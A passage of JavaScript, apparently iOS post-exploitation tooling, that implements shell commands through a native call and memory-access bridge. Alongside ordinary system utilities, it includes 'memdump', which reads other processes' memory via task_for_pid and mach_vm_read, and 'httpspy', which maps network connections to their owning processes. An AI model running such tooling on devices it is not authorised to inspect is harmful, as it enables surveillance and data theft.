Number(Native.callSymbol(\"getgid\"));\n\tvar euid = Number(Native.callSymbol(\"geteuid\"));\n\tvar egid = Number(Native.callSymbol(\"getegid\"));\n\tvar uname = uid === 0 ? \"root\" : \"mobile\";\n\tvar gname = gid === 0 ? \"wheel\" : gid === 501 ? \"mobile\" : \"\" + gid;\n\tvar out = \"uid=\" + uid + \"(\" + uname + \") gid=\" + gid + \"(\" + gname + \")\";\n\tif (euid !== uid) out += \" euid=\" + euid;\n\tif (egid !== gid) out += \" egid=\" + egid;\n\treturn { code: 0, out: out + \"\\n\", err: \"\" };\n}\n\nfunction _cmdUname(args) {\n\tvar all = false;\n\tfor (var i = 1; i < args.length; i++) if (args[i] === \"-a\") all = true;\n\tvar uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (!uts || uts === 0n) return { code: 1, out: \"\", err: \"uname: failed\\n\" };\n\ttry {\n\t\tNative.callSymbol(\"uname\", uts);\n\t\tvar sysname = Native.readString(uts, 256).replace(/\\0/g, \"\");\n\t\tvar nodename = Native.readString(uts + 256n, 256).replace(/\\0/g, \"\");\n\t\tvar release = Native.readString(uts + 512n, 256).replace(/\\0/g, \"\");\n\t\tvar version = Native.readString(uts + 768n, 256).replace(/\\0/g, \"\");\n\t\tvar machine = Native.readString(uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\tif (all) return { code: 0, out: sysname + \" \" + nodename + \" \" + release + \" \" + version + \" \" + machine + \"\\n\", err: \"\" };\n\t\treturn { code: 0, out: sysname + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", uts); }\n}\n\nfunction _cmdHostname() {\n\tvar buf = Native.callSymbol(\"malloc\", 256);\n\tif (!buf || buf === 0n) return { code: 1, out: \"\", err: \"hostname: failed\\n\" };\n\ttry {\n\t\tvar r = Number(Native.callSymbol(\"gethostname\", buf, 255));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"hostname: failed\\n\" };\n\t\treturn { code: 0, out: Native.readString(buf, 256).replace(/\\0/g, \"\") + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", buf); }\n}\n\nfunction _cmdDf(args) {\n\tvar human = false;\n\tfor (var i = 1; i < args.length; i++) if (args[i] === \"-h\") human = true;\n\tvar sb = Native.callSymbol(\"calloc\", 1, 4096);\n\tif (!sb || sb === 0n) return { code: 1, out: \"\", err: \"df: failed\\n\" };\n\ttry {\n\t\tvar r = Number(Native.callSymbol(\"statfs\", \"/\", sb));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"df: statfs failed\\n\" };\n\t\tvar bsRaw = new DataView(Native.read(BigInt(sb), 4));\n\t\tvar bsize = bsRaw.getUint32(0, true);\n\t\tvar blocks = Number(Native.readPtr(BigInt(sb) + 8n));\n\t\tvar bfree = Number(Native.readPtr(BigInt(sb) + 16n));\n\t\tvar bavail = Number(Native.readPtr(BigInt(sb) + 24n));\n\t\tvar total = blocks * bsize, free = bfree * bsize;\n\t\tvar used = total - free, avail = bavail * bsize;\n\t\tvar pct = total > 0 ? Math.round(used * 100 / total) : 0;\n\t\tvar out = \"Filesystem\\tSize\\tUsed\\tAvail\\tUse%\\tMounted on\\n\";\n\t\tif (human) {\n\t\t\tout += \"/dev/disk0s1\\t\" + _fmtSizeH(total) + \"\\t\" + _fmtSizeH(used) + \"\\t\" + _fmtSizeH(avail) + \"\\t\" + pct + \"%\\t/\\n\";\n\t\t} else {\n\t\t\tout += \"/dev/disk0s1\\t\" + (total/1024|0) + \"\\t\" + (used/1024|0) + \"\\t\" + (avail/1024|0) + \"\\t\" + pct + \"%\\t/\\n\";\n\t\t}\n\t\treturn { code: 0, out: out, err: \"\" };\n\t} finally { Native.callSymbol(\"free\", sb); }\n}\n\nfunction _cmdDate() {\n\tvar now = new Date();\n\treturn { code: 0, out: now.toISOString().replace(\"T\", \" \").replace(\"Z\", \" UTC\") + \"\\n\", err: \"\" };\n}\n\nfunction _cmdEcho(args) {\n\treturn { code: 0, out: args.slice(1).join(\" \") + \"\\n\", err: \"\" };\n}\n\n// ---- Process Commands ----\n\nfunction _cmdPs(args) {\n\tvar pidBufSize = 4 * 8192;\n\tvar pidBuf = Native.callSymbol(\"malloc\", BigInt(pidBufSize));\n\tif (!pidBuf || pidBuf === 0n) return { code: 1, out: \"\", err: \"ps: malloc failed\\n\" };\n\n\tvar count = Number(Native.callSymbol(\"proc_listallpids\", pidBuf, pidBufSize));\n\tif (count <= 0) {\n\t\tNative.callSymbol(\"free\", pidBuf);\n\t\treturn { code: 1, out: \"\", err: \"ps: proc_listallpids failed\\n\" };\n\t}\n\tif (count > 8192) count = 8192;\n\n\tvar pids = [];\n\tfor (var i = 0; i < count; i++) {\n\t\tvar pid = Native.read32(BigInt(pidBuf) + BigInt(i * 4));\n\t\tif (pid > 0) pids.push(pid);\n\t}\n\tNative.callSymbol(\"free\", pidBuf);\n\tpids.sort(function(a, b) { return a - b; });\n\n\tvar nameBuf = Native.callSymbol(\"malloc\", 256);\n\tif (!nameBuf || nameBuf === 0n) return { code: 1, out: \"\", err: \"ps: malloc failed\\n\" };\n\n\tvar out = \" PID\\tNAME\\n\";\n\tfor (var pi = 0; pi < pids.length; pi++) {\n\t\ttry {\n\t\t\tNative.callSymbol(\"memset\", nameBuf, 0, 256);\n\t\t\tvar nameLen = Number(Native.callSymbol(\"proc_name\", pids[pi], nameBuf, 255));\n\t\t\tvar name = nameLen > 0 ? Native.readString(BigInt(nameBuf), 255) : \"?\";\n\t\t\tout += \" \" + pids[pi] + \"\\t\" + name + \"\\n\";\n\t\t} catch (procErr) {\n\t\t\tout += \" \" + pids[pi] + \"\\t(error)\\n\";\n\t\t}\n\t}\n\tNative.callSymbol(\"free\", nameBuf);\n\tout += \"\\nTotal: \" + pids.length + \" processes\\n\";\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdMemdump(args) {\n\tif (args.length < 4) return { code: 1, out: \"\", err: \"memdump: usage: memdump \\n Address in hex (0x...). Max dump display 4KB, max read 1MB.\\n\" };\n\n\tvar pid = parseInt(args[1]);\n\tvar addrStr = args[2];\n\tvar address = (addrStr.indexOf(\"0x\") === 0 || addrStr.indexOf(\"0X\") === 0)\n\t\t? parseInt(addrStr, 16) : parseInt(addrStr);\n\tvar size = parseInt(args[3]);\n\n\tif (isNaN(pid) || pid <= 0) return { code: 1, out: \"\", err: \"memdump: invalid pid\\n\" };\n\tif (isNaN(address)) return { code: 1, out: \"\", err: \"memdump: invalid address\\n\" };\n\tif (isNaN(size) || size <= 0) return { code: 1, out: \"\", err: \"memdump: invalid size\\n\" };\n\tif (size > 1024 * 1024) return { code: 1, out: \"\", err: \"memdump: size too large (max 1MB)\\n\" };\n\n\tvar selfPortAddr = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"mach_task_self_\");\n\tif (!selfPortAddr || selfPortAddr === 0n) return { code: 1, out: \"\", err: \"memdump: cannot resolve mach_task_self_\\n\" };\n\tvar selfPort = Native.read32(BigInt(selfPortAddr));\n\n\tvar taskPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!taskPtr || taskPtr === 0n) return { code: 1, out: \"\", err: \"memdump: malloc failed\\n\" };\n\n\tvar kr = Number(Native.callSymbol(\"task_for_pid\", selfPort, pid, taskPtr));\n\tif (kr !== 0) {\n\t\tNative.callSymbol(\"free\", taskPtr);\n\t\treturn { code: 1, out: \"\", err: \"memdump: task_for_pid failed (kern_return=\" + kr + \")\\n\" };\n\t}\n\tvar task = Native.read32(BigInt(taskPtr));\n\tNative.callSymbol(\"free\", taskPtr);\n\n\tvar dataOutPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar cntOutPtr = Native.callSymbol(\"calloc\", 1, 4);\n\tif (!dataOutPtr || dataOutPtr === 0n || !cntOutPtr || cntOutPtr === 0n) {\n\t\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\t\tif (dataOutPtr) Native.callSymbol(\"free\", dataOutPtr);\n\t\tif (cntOutPtr) Native.callSymbol(\"free\", cntOutPtr);\n\t\treturn { code: 1, out: \"\", err: \"memdump: malloc failed\\n\" };\n\t}\n\n\tkr = Number(Native.callSymbol(\"mach_vm_read\", task, BigInt(address), BigInt(size), dataOutPtr, cntOutPtr));\n\tif (kr !== 0) {\n\t\tNative.callSymbol(\"free\", dataOutPtr);\n\t\tNative.callSymbol(\"free\", cntOutPtr);\n\t\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\t\treturn { code: 1, out: \"\", err: \"memdump: mach_vm_read failed (kern_return=\" + kr + \")\\n\" };\n\t}\n\n\tvar dataAddr = Native.readPtr(BigInt(dataOutPtr));\n\tvar dataCnt = _readU32(BigInt(cntOutPtr), 0);\n\tNative.callSymbol(\"free\", dataOutPtr);\n\tNative.callSymbol(\"free\", cntOutPtr);\n\n\tvar readSize = dataCnt < size ? dataCnt : size;\n\tvar bytes = new Uint8Array(Native.read(dataAddr, readSize));\n\n\tNative.callSymbol(\"mach_vm_deallocate\", selfPort, dataAddr, BigInt(dataCnt));\n\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\n\tvar maxShow = readSize > 4096 ? 4096 : readSize;\n\tvar out = \"\";\n\tfor (var i = 0; i < maxShow; i += 16) {\n\t\tvar a = (address + i).toString(16);\n\t\twhile (a.length < 8) a = \"0\" + a;\n\t\tvar hex = \"\", ascii = \"\";\n\t\tfor (var j = 0; j < 16; j++) {\n\t\t\tif (i + j < maxShow) {\n\t\t\t\tvar hx = bytes[i + j].toString(16);\n\t\t\t\thex += (hx.length < 2 ? \"0\" + hx : hx) + \" \";\n\t\t\t\tascii += (bytes[i + j] >= 32 && bytes[i + j] < 127) ? String.fromCharCode(bytes[i + j]) : \".\";\n\t\t\t} else { hex += \" \"; }\n\t\t\tif (j === 7) hex += \" \";\n\t\t}\n\t\tout += a + \" \" + hex + \" |\" + ascii + \"|\\n\";\n\t}\n\tif (readSize > maxShow) out += \"\\n... truncated (read \" + readSize + \" bytes, showing \" + maxShow + \")\\n\";\n\tout += \"\\n\" + readSize + \" bytes read from pid \" + pid + \" at 0x\" + address.toString(16) + \"\\n\";\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Network Commands ----\n\nfunction _cmdIfconfig(args) {\n\tvar ifapPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!ifapPtr || ifapPtr === 0n) return { code: 1, out: \"\", err: \"ifconfig: malloc failed\\n\" };\n\n\tvar r = Number(Native.callSymbol(\"getifaddrs\", ifapPtr));\n\tif (r !== 0) {\n\t\tNative.callSymbol(\"free\", ifapPtr);\n\t\treturn { code: 1, out: \"\", err: \"ifconfig: getifaddrs failed\\n\" };\n\t}\n\n\tvar ifaHead = Native.readPtr(BigInt(ifapPtr));\n\tNative.callSymbol(\"free\", ifapPtr);\n\tif (!ifaHead || ifaHead === 0n) return { code: 0, out: \"(no interfaces)\\n\", err: \"\" };\n\n\tvar ifMap = {};\n\tvar ifOrder = [];\n\tvar ifa = ifaHead;\n\tvar maxIter = 1024;\n\n\twhile (ifa && ifa !== 0n && maxIter-- > 0) {\n\t\ttry {\n\t\t\tvar namePtr = Native.readPtr(ifa + 8n);\n\t\t\tvar name = (namePtr && namePtr !== 0n) ? Native.readString(namePtr, 32) : \"?\";\n\t\t\tvar flags = _readU32(ifa, 16);\n\t\t\tvar addrPtr = Native.readPtr(ifa + 24n);\n\n\t\t\tif (!ifMap[name]) {\n\t\t\t\tifMap[name] = { flags: flags, addrs: [], mtu: 0 };\n\t\t\t\tifOrder.push(name);\n\t\t\t}\n\n\t\t\tif (addrPtr && addrPtr !== 0n) {\n\t\t\t\tvar family = _readU8(addrPtr, 1);\n\n\t\t\t\tif (family === 2) {\n\t\t\t\t\tvar ab = new Uint8Array(Native.read(addrPtr + 4n, 4));\n\t\t\t\t\tvar ip = ab[0] + \".\" + ab[1] + \".\" + ab[2] + \".\" + ab[3];\n\t\t\t\t\tvar entry = { type: \"inet\", addr: ip };\n\t\t\t\t\tvar maskPtr = Native.readPtr(ifa + 32n);\n\t\t\t\t\tif (maskPtr && maskPtr !== 0n) {\n\t\t\t\t\t\tvar mb = new Uint8Array(Native.read(maskPtr + 4n, 4));\n\t\t\t\t\t\tentry.mask = mb[0] + \".\" + mb[1] + \".\" + mb[2] + \".\" + mb[3];\n\t\t\t\t\t}\n\t\t\t\t\tifMap[name].addrs.push(entry);\n\t\t\t\t} else if (family === 30) {\n\t\t\t\t\tvar a6 = new Uint8Array(Native.read(addrPtr + 8n, 16));\n\t\t\t\t\tvar v6 = \"\";\n\t\t\t\t\tfor (var k = 0; k < 16; k += 2) {\n\t\t\t\t\t\tif (k > 0) v6 += \":\";\n\t\t\t\t\t\tv6 += ((a6[k] << 8) | a6[k + 1]).toString(16);\n\t\t\t\t\t}\n\t\t\t\t\tifMap[name].addrs.push({ type: \"inet6\", addr: v6 });\n\t\t\t\t} else if (family === 18) {\n\t\t\t\t\tvar dataPtr = Native.readPtr(ifa + 48n);\n\t\t\t\t\tif (dataPtr && dataPtr !== 0n) {\n\t\t\t\t\t\tifMap[name].mtu = _readU32(dataPtr, 8);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (iterErr) { /* skip this entry on error */ }\n\n\t\tifa = Native.readPtr(ifa);\n\t}\n\n\tNative.callSymbol(\"freeifaddrs\", ifaHead);\n\n\tvar out = \"\";\n\tfor (var oi = 0; oi < ifOrder.length; oi++) {\n\t\tvar n = ifOrder[oi];\n\t\tvar inf = ifMap[n];\n\t\tvar fl = [];\n\t\tif (inf.flags & 0x1) fl.push(\"UP\");\n\t\tif (inf.flags & 0x2) fl.push(\"BROADCAST\");\n\t\tif (inf.flags & 0x8) fl.push(\"LOOPBACK\");\n\t\tif (inf.flags & 0x10) fl.push(\"POINTOPOINT\");\n\t\tif (inf.flags & 0x40) fl.push(\"RUNNING\");\n\t\tif (inf.flags & 0x8000) fl.push(\"MULTICAST\");\n\t\tout += n + \": flags=0x\" + inf.flags.toString(16) + \" <\" + fl.join(\",\") + \">\";\n\t\tif (inf.mtu > 0) out += \" mtu \" + inf.mtu;\n\t\tout += \"\\n\";\n\t\tfor (var ai = 0; ai < inf.addrs.length; ai++) {\n\t\t\tvar ad = inf.addrs[ai];\n\t\t\tif (ad.type === \"inet\") {\n\t\t\t\tout += \"\\tinet \" + ad.addr;\n\t\t\t\tif (ad.mask) out += \" netmask \" + ad.mask;\n\t\t\t\tout += \"\\n\";\n\t\t\t} else if (ad.type === \"inet6\") {\n\t\t\t\tout += \"\\tinet6 \" + ad.addr + \"\\n\";\n\t\t\t}\n\t\t}\n\t}\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdNetstats(args) {\n\tvar ifapPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!ifapPtr || ifapPtr === 0n) return { code: 1, out: \"\", err: \"netstats: malloc failed\\n\" };\n\n\tvar r = Number(Native.callSymbol(\"getifaddrs\", ifapPtr));\n\tif (r !== 0) {\n\t\tNative.callSymbol(\"free\", ifapPtr);\n\t\treturn { code: 1, out: \"\", err: \"netstats: getifaddrs failed\\n\" };\n\t}\n\n\tvar ifaHead = Native.readPtr(BigInt(ifapPtr));\n\tNative.callSymbol(\"free\", ifapPtr);\n\tif (!ifaHead || ifaHead === 0n) return { code: 0, out: \"(no interfaces)\\n\", err: \"\" };\n\n\tvar stats = {};\n\tvar order = [];\n\tvar ifa = ifaHead;\n\tvar maxIter = 1024;\n\n\twhile (ifa && ifa !== 0n && maxIter-- > 0) {\n\t\ttry {\n\t\t\tvar namePtr = Native.readPtr(ifa + 8n);\n\t\t\tvar name = (namePtr && namePtr !== 0n) ? Native.readString(namePtr, 32) : \"?\";\n\t\t\tvar addrPtr = Native.readPtr(ifa + 24n);\n\n\t\t\tif (addrPtr && addrPtr !== 0n) {\n\t\t\t\tvar family = _readU8(addrPtr, 1);\n\t\t\t\tif (family === 18) {\n\t\t\t\t\tvar dataPtr = Native.readPtr(ifa + 48n);\n\t\t\t\t\tif (dataPtr && dataPtr !== 0n) {\n\t\t\t\t\t\tif (!stats[name]) order.push(name);\n\t\t\t\t\t\tstats[name] = {\n\t\t\t\t\t\t\tmtu: _readU32(dataPtr, 8),\n\t\t\t\t\t\t\tipackets: _readU32(dataPtr, 20),\n\t\t\t\t\t\t\tierrors: _readU32(dataPtr, 24),\n\t\t\t\t\t\t\topackets: _readU32(dataPtr, 28),\n\t\t\t\t\t\t\toerrors: _readU32(dataPtr, 32),\n\t\t\t\t\t\t\tcollisions: _readU32(dataPtr, 36),\n\t\t\t\t\t\t\tibytes: _readU32(dataPtr, 40),\n\t\t\t\t\t\t\tobytes: _readU32(dataPtr, 44)\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (iterErr) { /* skip on error */ }\n\n\t\tifa = Native.readPtr(ifa);\n\t}\n\n\tNative.callSymbol(\"freeifaddrs\", ifaHead);\n\n\tvar out = \"Interface\\tRX bytes\\tTX bytes\\tRX pkts\\t\\tTX pkts\\t\\tRX err\\tTX err\\n\";\n\tvar totalRx = 0, totalTx = 0;\n\tfor (var si = 0; si < order.length; si++) {\n\t\tvar sn = order[si];\n\t\tvar s = stats[sn];\n\t\tout += sn + \"\\t\\t\" + _fmtSizeH(s.ibytes) + \"\\t\\t\" + _fmtSizeH(s.obytes)\n\t\t\t+ \"\\t\\t\" + s.ipackets + \"\\t\\t\" + s.opackets\n\t\t\t+ \"\\t\\t\" + s.ierrors + \"\\t\" + s.oerrors + \"\\n\";\n\t\ttotalRx += s.ibytes;\n\t\ttotalTx += s.obytes;\n\t}\n\tout += \"\\nTotal RX: \" + _fmtSizeH(totalRx) + \" TX: \" + _fmtSizeH(totalTx) + \"\\n\";\n\n\tout += \"\\nNetwork type summary:\\n\";\n\tfor (var ni = 0; ni < order.length; ni++) {\n\t\tvar nn = order[ni];\n\t\tvar ns = stats[nn];\n\t\tif (ns.ibytes === 0 && ns.obytes === 0) continue;\n\t\tvar netType = \"other\";\n\t\tif (nn === \"en0\") netType = \"WiFi\";\n\t\telse if (nn === \"lo0\") netType = \"Loopback\";\n\t\telse if (nn.indexOf(\"pdp_ip\") === 0) netType = \"Cellular\";\n\t\telse if (nn.indexOf(\"utun\") === 0) netType = \"VPN/Tunnel\";\n\t\telse if (nn.indexOf(\"ipsec\") === 0) netType = \"IPSec\";\n\t\telse if (nn.indexOf(\"en\") === 0) netType = \"Ethernet\";\n\t\telse if (nn.indexOf(\"awdl\") === 0) netType = \"AWDL (AirDrop)\";\n\t\tout += \" \" + nn + \" (\" + netType + \"): RX \" + _fmtSizeH(ns.ibytes) + \" / TX \" + _fmtSizeH(ns.obytes) + \"\\n\";\n\t}\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Network Connection Commands ----\n\nfunction _fmtIPv6Short(data, off) {\n\tvar parts = [];\n\tfor (var i = 0; i < 16; i += 2) {\n\t\tparts.push(((data[off + i] << 8) | data[off + i + 1]).toString(16));\n\t}\n\treturn parts.join(\":\");\n}\n\nfunction _getSysctlPcbList(name) {\n\tvar sizePtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!sizePtr || sizePtr === 0n) return null;\n\n\tvar rc = Number(Native.callSymbol(\"sysctlbyname\", name, 0, sizePtr, 0, 0));\n\tif (rc !== 0) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tvar dataSize = Number(Native.readPtr(BigInt(sizePtr)));\n\tif (dataSize <= 0 || dataSize > 10 * 1024 * 1024) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tvar allocSize = dataSize + 4096;\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(allocSize));\n\tif (!dataBuf || dataBuf === 0n) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tNative.write64(sizePtr, BigInt(allocSize));\n\trc = Number(Native.callSymbol(\"sysctlbyname\", name, dataBuf, sizePtr, 0, 0));\n\tvar actualSize = Number(Native.readPtr(BigInt(sizePtr)));\n\tNative.callSymbol(\"free\", sizePtr);\n\n\tif (rc !== 0) { Native.callSymbol(\"free\", dataBuf); return null; }\n\treturn { buf: dataBuf, size: actualSize };\n}\n\nfunction _parseConnections(dataBuf, dataSize, isTcp) {\n\tvar XSO_INPCB = 0x010, XSO_TCPCB = 0x020;\n\tvar conns = [];\n\n\tif (dataSize < 24) return conns;\n\tvar headerLen = _readU32(dataBuf, 0);\n\tif (headerLen < 16 || headerLen > 256) return conns;\n\n\tvar off = headerLen;\n\tvar cur = null;\n\tvar maxIter = 50000;\n\n\twhile (off + 8 <= dataSize && maxIter-- > 0) {\n\t\tvar eLen = _readU32(dataBuf, off);\n\t\tvar eKind = _readU32(dataBuf, off + 4);\n\t\tif (eLen < 8 || eLen > 8192 || off + eLen > dataSize) break;\n\n\t\ttry {\n\t\t\tif (isTcp && eKind === XSO_TCPCB) {\n\t\t\t\tif (cur) conns.push(cur);\n\t\t\t\tcur = { state: -1, laddr: \"\", faddr: \"\", lport: 0, fport: 0, vflag: 0 };\n\t\t\t\tif (eLen >= 40) cur.state = _readU32(dataBuf, off + 36);\n\t\t\t} else if (eKind === XSO_INPCB) {\n\t\t\t\tif (!isTcp) {\n\t\t\t\t\tif (cur) conns.push(cur);\n\t\t\t\t\tcur = { state: -1, laddr: \"\", faddr: \"\", lport: 0, fport: 0, vflag: 0 };\n\t\t\t\t}\n\t\t\t\tif (cur && eLen >= 84) {\n\t\t\t\t\tcur.fport = (_readU8(dataBuf, off + 16) << 8) | _readU8(dataBuf, off + 17);\n\t\t\t\t\tcur.lport = (_readU8(dataBuf, off + 18) << 8) | _readU8(dataBuf, off + 19);\n\t\t\t\t\tcur.vflag = _readU8(dataBuf, off + 48);\n\n\t\t\t\t\tif (cur.vflag & 1) {\n\t\t\t\t\t\tvar la = new Uint8Array(Native.read(dataBuf + BigInt(off + 64), 4));\n\t\t\t\t\t\tvar fa = new Uint8Array(Native.read(dataBuf + BigInt(off + 80), 4));\n\t\t\t\t\t\tcur.laddr = la[0] + \".\" + la[1] + \".\" + la[2] + \".\" + la[3];\n\t\t\t\t\t\tcur.faddr = fa[0] + \".\" + fa[1] + \".\" + fa[2] + \".\" + fa[3];\n\t\t\t\t\t} else if (cur.vflag & 2) {\n\t\t\t\t\t\tvar la6 = new Uint8Array(Native.read(dataBuf + BigInt(off + 52), 16));\n\t\t\t\t\t\tvar fa6 = new Uint8Array(Native.read(dataBuf + BigInt(off + 68), 16));\n\t\t\t\t\t\tcur.laddr = _fmtIPv6Short(la6, 0);\n\t\t\t\t\t\tcur.faddr = _fmtIPv6Short(fa6, 0);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (parseErr) { /* skip malformed entry */ }\n\n\t\toff += eLen;\n\t}\n\tif (cur) conns.push(cur);\n\treturn conns;\n}\n\nfunction _cmdConnections(args) {\n\tvar showTcp = true, showUdp = true, showListen = false, showAll = false;\n\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-t\") { showTcp = true; showUdp = false; }\n\t\telse if (args[i] === \"-u\") { showTcp = false; showUdp = true; }\n\t\telse if (args[i] === \"-a\") showAll = true;\n\t\telse if (args[i] === \"-l\") showListen = true;\n\t\telse if (args[i] === \"-h\" || args[i] === \"--help\") {\n\t\t\treturn { code: 0, out:\n\t\t\t\t\"Usage: connections [-t] [-u] [-a] [-l]\\n\" +\n\t\t\t\t\" -t Show TCP connections only\\n\" +\n\t\t\t\t\" -u Show UDP sockets only\\n\" +\n\t\t\t\t\" -a Show all (including LISTEN, TIME_WAIT, CLOSED)\\n\" +\n\t\t\t\t\" -l Show only LISTEN sockets\\n\" +\n\t\t\t\t\" Default: show TCP+UDP, hide LISTEN/TIME_WAIT/CLOSED\\n\", err: \"\" };\n\t\t}\n\t}\n\n\tvar tcpStates = [\"CLOSED\", \"LISTEN\", \"SYN_SENT\", \"SYN_RCVD\", \"ESTABLISHED\",\n\t\t\"CLOSE_WAIT\", \"FIN_WAIT_1\", \"CLOSING\", \"LAST_ACK\", \"FIN_WAIT_2\", \"TIME_WAIT\"];\n\n\tvar out = \"Proto Local Address Foreign Address State\\n\";\n\tout += \"----- ------------------------- ------------------------- -----------\\n\";\n\tvar total = 0;\n\n\tif (showTcp) {\n\t\tvar tcpData = _getSysctlPcbList(\"net.inet.tcp.pcblist_n\");\n\t\tif (tcpData) {\n\t\t\tvar tcpConns = _parseConnections(tcpData.buf, tcpData.size, true);\n\t\t\tNative.callSymbol(\"free\", tcpData.buf);\n\n\t\t\tfor (var ci = 0; ci < tcpConns.length; ci++) {\n\t\t\t\tvar c = tcpConns[ci];\n\t\t\t\tvar st = (c.state >= 0 && c.state < tcpStates.length) ? tcpStates[c.state] : \"?\" + c.state;\n\n\t\t\t\tif (!showAll) {\n\t\t\t\t\tif (showListen && st !== \"LISTEN\") continue;\n\t\t\t\t\tif (!showListen && (st === \"TIME_WAIT\" || st === \"CLOSED\" || st === \"LISTEN\")) continue;\n\t\t\t\t}\n\n\t\t\t\tvar p = (c.vflag & 2) ? \"tcp6 \" : \"tcp4 \";\n\t\t\t\tvar ls = c.laddr + \":\" + c.lport;\n\t\t\t\tvar fs = c.faddr + \":\" + c.fport;\n\t\t\t\twhile (ls.length < 28) ls += \" \";\n\t\t\t\twhile (fs.length < 28) fs += \" \";\n\t\t\t\tout += p + ls + fs + st + \"\\n\";\n\t\t\t\ttotal++;\n\t\t\t}\n\t\t} else {\n\t\t\tout += \"(tcp: sysctl net.inet.tcp.pcblist_n failed)\\n\";\n\t\t}\n\t}\n\n\tif (showUdp) {\n\t\tvar udpData = _getSysctlPcbList(\"net.inet.udp.pcblist_n\");\n\t\tif (udpData) {\n\t\t\tvar udpConns = _parseConnections(udpData.buf, udpData.size, false);\n\t\t\tNative.callSymbol(\"free\", udpData.buf);\n\n\t\t\tfor (var ci = 0; ci < udpConns.length; ci++) {\n\t\t\t\tvar c = udpConns[ci];\n\t\t\t\tif (!showAll && c.lport === 0 && c.fport === 0) continue;\n\n\t\t\t\tvar p = (c.vflag & 2) ? \"udp6 \" : \"udp4 \";\n\t\t\t\tvar ls = c.laddr + \":\" + c.lport;\n\t\t\t\tvar fs = c.faddr + \":\" + c.fport;\n\t\t\t\twhile (ls.length < 28) ls += \" \";\n\t\t\t\twhile (fs.length < 28) fs += \" \";\n\t\t\t\tout += p + ls + fs + \"\\n\";\n\t\t\t\ttotal++;\n\t\t\t}\n\t\t} else {\n\t\t\tout += \"(udp: sysctl net.inet.udp.pcblist_n failed)\\n\";\n\t\t}\n\t}\n\n\tout += \"\\nTotal: \" + total + \" connections\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Process Network Spy ----\n\nfunction _cmdHttpspy(args) {\n\tvar showAll = false;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-a\") showAll = true;\n\t\telse if (args[i] === \"-h\" || args[i] === \"--help\") {\n\t\t\treturn { code: 0, out:\n\t\t\t\t\"Usage: httpspy [-a]\\n\" +\n\t\t\t\t\" Maps active network connections to owning processes\\n\" +\n\t\t\t\t\" Default: show only HTTP (80) / HTTPS (443) connections\\n\" +\n\t\t\t\t\" -a Show ALL network connections per process\\n\", err: \"\" };\n\t\t}\n\t}\n\n\tvar pidBufSize = 4 * 8192;\n\tvar pidBuf = Native.callSymbol(\"malloc\", BigInt(pidBufSize));\n\tif (!pidBuf || pidBuf === 0n) return { code: 1, out: \"\", err: \"httpspy: malloc failed\\n\" };\n\n\tvar count = Number(Native.callSymbol(\"proc_listallpids\", pidBuf, pidBufSize));\n\tif (count <= 0) { Native.callSymbol(\"free\", pidBuf); return { code: 1, out: \"\", err: \"httpspy: proc_listallpids failed\\n\" }; }\n\tif (count > 8192) count = 8192;\n\n\tvar pids = [];\n\tfor (var i = 0; i < count; i++) {\n\t\tvar pid = Native.read32(BigInt(pidBuf) + BigInt(i * 4));\n\t\tif (pid > 0) pids.push(pid);\n\t}\n\tNative.callSymbol(\"free\", pidBuf);\n\n\tvar fdInfoSize = 8;\n\tvar fdBuf = Native.callSymbol(\"malloc\", BigInt(fdInfoSize * 2048));\n\tvar sockBuf = Native.callSymbol(\"malloc\", 4096);\n\tvar nameBuf = Native.callSymbol(\"malloc\", 256);\n\tif (!fdBuf || fdBuf === 0n || !sockBuf || sockBuf === 0n || !nameBuf || nameBuf === 0n) {\n\t\tif (fdBuf && fdBuf !== 0n) Native.callSymbol(\"free\", fdBuf);\n\t\tif (sockBuf && sockBuf !== 0n) Native.callSymbol(\"free\", sockBuf);\n\t\tif (nameBuf && nameBuf !== 0n) Native.callSymbol(\"free\", nameBuf);\n\t\treturn { code: 1, out: \"\", err: \"httpspy: malloc failed\\n\" };\n\t}\n\n\tvar OFF_SOI_TYPE = 176;\n\tvar OFF_SOI_PROTO = 180;\n\tvar OFF_SOI_FAMILY = 184;\n\tvar OFF_INI_FPORT = 264;\n\tvar OFF_INI_LPORT = 268;\n\tvar OFF_INI_VFLAG = 288;\n\tvar OFF_INI_FADDR4 = 308;\n\tvar OFF_INI_LADDR4 = 324;\n\tvar OFF_INI_FADDR6 = 296;\n\tvar OFF_INI_LADDR6 = 312;\n\tvar OFF_TCP_STATE = 360;\n\tvar MIN_SI_SIZE = 364;\n\n\tvar tcpStates = [\"CLOSED\", \"LISTEN\", \"SYN_SENT\", \"SYN_RCVD\", \"ESTABLISHED\",\n\t\t\"CLOSE_WAIT\", \"FIN_WAIT_1\", \"CLOSING\", \"LAST_ACK\", \"FIN_WAIT_2\", \"TIME_WAIT\"];\n\tvar results = [];\n\n\tfor (var pi = 0; pi < 